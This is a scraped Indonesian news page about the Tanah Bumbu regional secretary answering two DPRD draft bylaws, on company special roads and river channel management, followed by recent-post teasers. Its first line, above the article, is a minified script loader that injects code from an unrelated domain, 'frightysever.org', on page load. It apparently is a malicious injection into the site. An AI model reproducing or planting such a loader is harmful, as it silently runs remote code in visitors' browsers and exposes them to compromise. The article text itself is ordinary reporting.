(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Sekda Tanbu Beri Jawaban Dua Buah Raperda di Rapat Paripurna DPRD


KANALKALIMANTAN.COM, BATULICIN – Sekretaris Daerah Tanah Bumbu (Tanbu) H. Ambo Sakka, menyampaikan jawaban dua buah Raperda pada Rapat Paripurna DPRD di Ruang Rapat Paripurna Kantor DPRD Tanbu, Selasa (18/1/2022).

Kehadiran Sekda ini adalah untuk menyampaikan jawaban Bupati Tanah Bumbu HM Zairullah Azhar atas dua Raperda (Rancangan Peraturan Daerah) yang diusulkan DPRD Tanbu pada rapat paripurna yang digelar Senin (17/1/2022) sebelumnya.

Adapun dua Raperda yang diusulkan oleh DPRD ialah Raperda tentang Penyelenggaraan Jalan Khusus Perusahaan dan Raperda tentang Pengelolaan Alur Sungai.

Dalam sambutannya Sekda menyampaikan bahwa Pemerintah Daerah menyambut baik dan mengapresiasi dua Raperda inisiatif yang telah diusulkan DPRD Tanbu tersebut.

 

Baca juga : Dugaan Kakek S Meninggal Dunia Akibat Tindak Kekerasan Polisi, Begini Penjelasan Kabid Humas Polda Kalsel

Dikatakan Sekda bahwa dengan lahirnya Raperda Inisiatif ini memungkinkan Pemerintah Daerah selaku pihak eksekutif dan unsur terkait lain untuk melakukan kegiatan yang berkaitan dengan penyelenggaraan jalan khusus perusahaan dan pengelolaan alur sungai.

Sekda menjelaskan bahwa terkait penyelenggaraan jalan khusus perusahaan mempunyai landasan hukum dengan harus memperhatikan kenyamanan, keamanan, ketertiban dan keselamatan pengguna jalan.
Oleh sebab itu melalui Raperda ini, Pemerintah Daerah berharap dapat mewujudkan penguasaan jalan yang berlaku sesuai dengan ketentuan dan undang-undang yang berlaku serta meningkatkan pertumbuhan ekonomi dan pemerataan pembangunan daerah.

“Sehingga seluruh aktivitas yang melewati jalan khusus ini bisa dipertanggung jawabkan khususnya demi segi keamanan masyarakat,” sebutnya.

Sementara itu terkait Raperda tentang Pengelolaan Air Sungai, Sekda menyebutkan bahwa pada dasarnya Raperda ini bertujuan untuk menciptakan pemerataan keadilan dengan memperhatikan potensi dan keanekaragaman daerah.

 

Baca juga : DPRD HSU Ajukan Empat Raperda Inisiatif

“Kami dari Pemerintah Daerah sangat berharap dengan kesepakatan bersama dengan DPRD bahwa dalam waktu yang singkat kedua raperda ini dapat segera disahkan menjadi Peraturan Daerah,” kata Ambo Sakka.

Sekda berharap dengan sinergitas yang telah dibangun selama ini bersama seluruh unsur Forkopimda dapat mengoptimalkan tanggung jawab bersama dalam meningkatkan kualitas pelayanan yang maksimal kepada masyarakat.(kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

10 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

11 jam ago

This website uses cookies.